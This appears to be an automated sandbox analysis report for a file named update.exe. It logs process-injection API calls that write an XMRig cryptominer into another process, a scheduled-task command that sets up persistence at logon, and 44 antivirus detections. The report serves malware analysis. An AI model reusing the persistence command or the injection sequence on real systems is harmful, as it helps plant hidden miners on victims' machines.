WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: Ð0ï0Ñ0ß00 000@0Ø0p0000X0 0À0õ0¢0¢0Ç¢0¢0¤¢0´¢0Ä¢0¢0Ì¢0¨¢0à¢0Ð¢0 ¢0°¢0À¢0¢0è¢0 base_address: 0x000000014074d000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: 8Ph àt0ãt}4VS_VERSION_INFO½ïþ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x000000014074e000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: base_address: 0x000000014074f000 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
NtGetContextThread June 6, 2021, 9:37 p.m.	thread_handle: 0x000000000000032c	1	0
WriteProcessMemory June 6, 2021, 9:37 p.m.	buffer: @ base_address: 0x000007fffffde010 process_identifier: 7824 process_handle: 0x0000000000000350	1	1
NtSetContextThread June 6, 2021, 9:37 p.m.	registers.r14: 0 registers.r15: 0 registers.rcx: 5371770476 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 2030920 registers.r11: 0 registers.r8: 0 registers.r9: 0 registers.rip: 1998505216 registers.rdx: 8796092882944 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 0 registers.r13: 0 thread_handle: 0x000000000000032c process_identifier: 7824	1	0
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x000000000000032c suspend_count: 1 process_identifier: 7824	1	0
CreateProcessInternalW June 6, 2021, 9:36 p.m.	thread_identifier: 3004 thread_handle: 0x0000000000000060 process_identifier: 6956 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\test22\AppData\Local\Temp\Services.exe"' filepath_r: C:\Windows\system32\schtasks.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000000000000064	1	1
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 1596	1	0
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 1596	1	0
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x00000000000001a0 suspend_count: 1 process_identifier: 1596	1	0
NtResumeThread June 6, 2021, 9:37 p.m.	thread_handle: 0x0000000000000208 suspend_count: 1 process_identifier: 7824	1	0

File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 events)

Elastic	malicious (high confidence)
CAT-QuickHeal	Trojan.Generic
McAfee	Artemis!A3B54783FD61
Zillya	Trojan.Generic.Win32.1402350
Sangfor	Trojan.Win32.Generic.ky
K7AntiVirus	Trojan ( 0057c5c31 )
Alibaba	Trojan:Win32/CoinMiner.ali1002002
K7GW	Trojan ( 0057c5c31 )
Cybereason	malicious.332e2d
Arcabit	Trojan.Bulz.D72F5B
Symantec	Trojan.Gen.MBT
ESET-NOD32	a variant of MSIL/Kryptik.AAWO
APEX	Malicious
Paloalto	generic.ml
Cynet	Malicious (score: 100)
Kaspersky	HEUR:Trojan.Win32.Generic
BitDefender	Gen:Variant.Bulz.470875
MicroWorld-eScan	Gen:Variant.Bulz.470875
Avast	Win64:Trojan-gen
Ad-Aware	Gen:Variant.Bulz.470875
Sophos	Mal/Generic-S
DrWeb	Trojan.PackedNET.721
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	TROJ_GEN.R002C0WEL21
McAfee-GW-Edition	Artemis!Trojan
FireEye	Generic.mg.a3b54783fd619282
Emsisoft	Gen:Variant.Bulz.470875 (B)
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_99%
Avira	TR/Kryptik.pzman
Microsoft	Trojan:Win32/Wacatac.B!ml
AegisLab	Trojan.Win32.Generic.4!c
GData	Gen:Variant.Bulz.470875
ALYac	Gen:Variant.Bulz.470875
MAX	malware (ai score=80)
VBA32	Trojan.PackedNET
Cylance	Unsafe
TrendMicro-HouseCall	TROJ_GEN.R002C0WEL21
Ikarus	Trojan.MSIL.Crypt
MaxSecure	Trojan.Malware.7164915.susgen
Fortinet	W32/Kryptik.AAWO!tr
AVG	Win64:Trojan-gen
Panda	Trj/CI.A
CrowdStrike	win/malicious_confidence_60% (W)

update.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All